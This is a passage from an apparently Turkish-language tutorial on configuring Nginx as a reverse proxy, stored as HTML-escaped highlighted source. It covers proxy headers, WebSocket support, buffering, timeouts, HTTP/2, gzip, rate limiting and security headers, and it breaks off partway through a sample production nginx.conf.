&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Real-IP&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Host&lt;/code&gt;: &amp;Idot;stemcinin as&amp;inodot;l talep etti&amp;gbreve;i alan ad&amp;inodot;n&amp;inodot; iletir.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Real-IP&lt;/code&gt;: &amp;Idot;stemcinin do&amp;gbreve;rudan IP adresini ta&amp;scedil;&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt;: &amp;Idot;ste&amp;gbreve;in ge&amp;ccedil;ti&amp;gbreve;i t&amp;uuml;m vekil sunucu IP zincirini ta&amp;scedil;&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Forwarded-Proto&lt;/code&gt;: Orijinal iste&amp;gbreve;in HTTP mi yoksa HTTPS mi oldu&amp;gbreve;unu uygulamaya bildirir.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="websocket-destegi"&gt;🔌 WebSocket Deste&amp;gbreve;i&lt;a class="headerlink" href="#websocket-destegi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Standart HTTP y&amp;ouml;nlendirmesi WebSocket ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot;n&amp;inodot; ta&amp;scedil;&amp;inodot;yamaz. WebSocket ge&amp;ccedil;i&amp;scedil;i i&amp;ccedil;in ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; y&amp;uuml;kseltme (upgrade) ba&amp;scedil;l&amp;inodot;klar&amp;inodot;n&amp;inodot; eklememiz gerekir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/ws/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_http_version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s"&gt;.1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Upgrade&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;$http_upgrade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"upgrade"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="tamponlama-buffering-ve-zaman-asmlar-timeouts"&gt;🗄️ Tamponlama (Buffering) ve Zaman A&amp;scedil;&amp;inodot;mlar&amp;inodot; (Timeouts)&lt;a class="headerlink" href="#tamponlama-buffering-ve-zaman-asmlar-timeouts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nginx, uygulamadan gelen yan&amp;inodot;tlar&amp;inodot; varsay&amp;inodot;lan olarak tampon belle&amp;gbreve;e (buffer) &amp;ccedil;eker. Uygulama yan&amp;inodot;t&amp;inodot; milisaniyeler i&amp;ccedil;inde Nginx'e teslim edip yeni i&amp;scedil;lere d&amp;ouml;nerken, Nginx bu yan&amp;inodot;t&amp;inodot; yava&amp;scedil; yava&amp;scedil; istemciye damlat&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Ancak anl&amp;inodot;k veri ak&amp;inodot;&amp;scedil;&amp;inodot; gerektiren durumlarda (Server-Sent Events veya anl&amp;inodot;k sohbet hatlar&amp;inodot; gibi) bu tamponlamay&amp;inodot; kapatmak gerekir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/events/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_buffering&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Zaman a&amp;scedil;&amp;inodot;mlar&amp;inodot; ise sistemin kararl&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in kritiktir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Arka plan ba&amp;gbreve;lant&amp;inodot; s&amp;uuml;releri&lt;/span&gt;
&lt;span class="k"&gt;proxy_connect_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;5s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;proxy_send_timeout&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;60s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;proxy_read_timeout&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;60s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;# &amp;Idot;stemci ba&amp;gbreve;lant&amp;inodot; s&amp;uuml;releri&lt;/span&gt;
&lt;span class="k"&gt;client_header_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;client_body_timeout&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s"&gt;10s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;keepalive_timeout&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="s"&gt;65s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;proxy_connect_timeout&lt;/code&gt; s&amp;uuml;resini d&amp;uuml;&amp;scedil;&amp;uuml;k tutarak (&amp;ouml;rne&amp;gbreve;in 5 saniye) &amp;ccedil;&amp;ouml;ken bir uygulamada h&amp;inodot;zl&amp;inodot;ca hata yan&amp;inodot;t&amp;inodot; (502) d&amp;ouml;nmesini sa&amp;gbreve;layabiliriz. (E&amp;gbreve;er sunucunuzun genel a&amp;gbreve; performans&amp;inodot;n&amp;inodot; ve TCP limitlerini daha da yukar&amp;inodot; &amp;ccedil;ekmek isterseniz &lt;a href="/linux-tcp-tuning-node-js-microservices/"&gt;Linux TCP Tuning &amp;amp; Node.js Microservices&lt;/a&gt; yaz&amp;inodot;ma g&amp;ouml;z atabilirsiniz.)&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="http2-ve-yant-skstrma-gzip"&gt;🚀 HTTP/2 ve Yan&amp;inodot;t S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma (gzip)&lt;a class="headerlink" href="#http2-ve-yant-skstrma-gzip" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;HTTP/2 protokol&amp;uuml;, tek bir TCP ba&amp;gbreve;lant&amp;inodot;s&amp;inodot; &amp;uuml;zerinden birden fazla iste&amp;gbreve;in e&amp;scedil;zamanl&amp;inodot; ta&amp;scedil;&amp;inodot;nmas&amp;inodot;n&amp;inodot; sa&amp;gbreve;lar. Nginx &amp;uuml;zerinde bunu aktifle&amp;scedil;tirmek tek sat&amp;inodot;rd&amp;inodot;r:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;http2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ayr&amp;inodot;ca HTML, CSS, JS ve JSON gibi metin tabanl&amp;inodot; yan&amp;inodot;tlar&amp;inodot; s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rarak a&amp;gbreve; y&amp;uuml;k&amp;uuml;n&amp;uuml; azaltabiliriz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;gzip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_types&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/javascript&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;image/svg+xml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_min_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_comp_level&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="guvenlik-ve-hz-snrlandrma-rate-limiting"&gt;🛡️ G&amp;uuml;venlik ve H&amp;inodot;z S&amp;inodot;n&amp;inodot;rland&amp;inodot;rma (Rate Limiting)&lt;a class="headerlink" href="#guvenlik-ve-hz-snrlandrma-rate-limiting" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Uygulama rotalar&amp;inodot;n&amp;inodot;n (&amp;ouml;zellikle login veya arama gibi a&amp;gbreve;&amp;inodot;r rotalar&amp;inodot;n) suistimal edilmesini &amp;ouml;nlemek i&amp;ccedil;in Nginx'in h&amp;inodot;z s&amp;inodot;n&amp;inodot;rland&amp;inodot;rma &amp;ouml;zelli&amp;gbreve;ini kullan&amp;inodot;r&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;limit_req_zone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$binary_remote_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api:10m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rate=10r/s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;limit_req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;burst=20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;nodelay&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;limit_req_status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada kullan&amp;inodot;c&amp;inodot; IP'sine g&amp;ouml;re saniyede 10 istek s&amp;inodot;n&amp;inodot;r&amp;inodot; koyduk, anl&amp;inodot;k patlamalar i&amp;ccedil;in ise 20 iste&amp;gbreve;e kadar tolerans tan&amp;inodot;d&amp;inodot;k. S&amp;inodot;n&amp;inodot;r&amp;inodot; a&amp;scedil;an istemcilere do&amp;gbreve;rudan &lt;code&gt;429 Too Many Requests&lt;/code&gt; durum kodu d&amp;ouml;necektir.&lt;/p&gt;
&lt;p&gt;Ayr&amp;inodot;ca Nginx s&amp;uuml;r&amp;uuml;m numaras&amp;inodot;n&amp;inodot; gizlemek g&amp;uuml;venlik taramalar&amp;inodot;nda elimizi g&amp;uuml;&amp;ccedil;lendirir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;server_tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sitenizin ba&amp;scedil;ka siteler i&amp;ccedil;inde iframe olarak a&amp;ccedil;&amp;inodot;lmas&amp;inodot;n&amp;inodot; (Clickjacking sald&amp;inodot;r&amp;inodot;lar&amp;inodot;) engellemek i&amp;ccedil;in ise &amp;scedil;u ba&amp;scedil;l&amp;inodot;klar&amp;inodot; eklemeliyiz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"SAMEORIGIN"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"frame-ancestors&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'self'"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="uretime-hazr-ornek-nginx-yaplandrmas"&gt;🛠️ &amp;Uuml;retime Haz&amp;inodot;r &amp;Ouml;rnek Nginx Yap&amp;inodot;land&amp;inodot;rmas&amp;inodot;&lt;a class="headerlink" href="#uretime-hazr-ornek-nginx-yaplandrmas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;T&amp;uuml;m bu anlatt&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z &amp;ouml;zellikleri bar&amp;inodot;nd&amp;inodot;ran, &amp;uuml;retime haz&amp;inodot;r tam bir &lt;code&gt;nginx.conf&lt;/code&gt; &amp;scedil;ablonu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;worker_processes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;worker_rlimit_nofile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;events&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;worker_connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16384&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server_tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;gzip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;gzip_types&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/javascript&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;image/svg+xml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;gzip_min_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;limit_req_zone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$binary_remote_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api:10m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rate=10r/s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;upstream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;app&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;127.0.0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;127.0.0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# Y&amp;uuml;k dengeleme i&amp;ccedil;in ikinci sunucu&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# HTTP'den HTTPS'e y&amp;ouml;nlendirme&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;301&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://&lt;/span&gt;&lt;span class="nv"&gt;$host$request_uri&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Ana HTTPS Sunucusu&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;http2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/fullchain.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/privkey.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;client_max_body_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;25m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"SAMEORIGIN"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"frame-ancestors&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'self'"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# Statik dosyalar&amp;inodot; do&amp;gbreve;rudan diskten sunuyoruz&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/static/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/www/app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;expires&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;30d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# API istekleri h&amp;inodot;z s&amp;inodot;n&amp;inodot;r&amp;inodot; ile vekile gidiyor&lt;/span&gt;
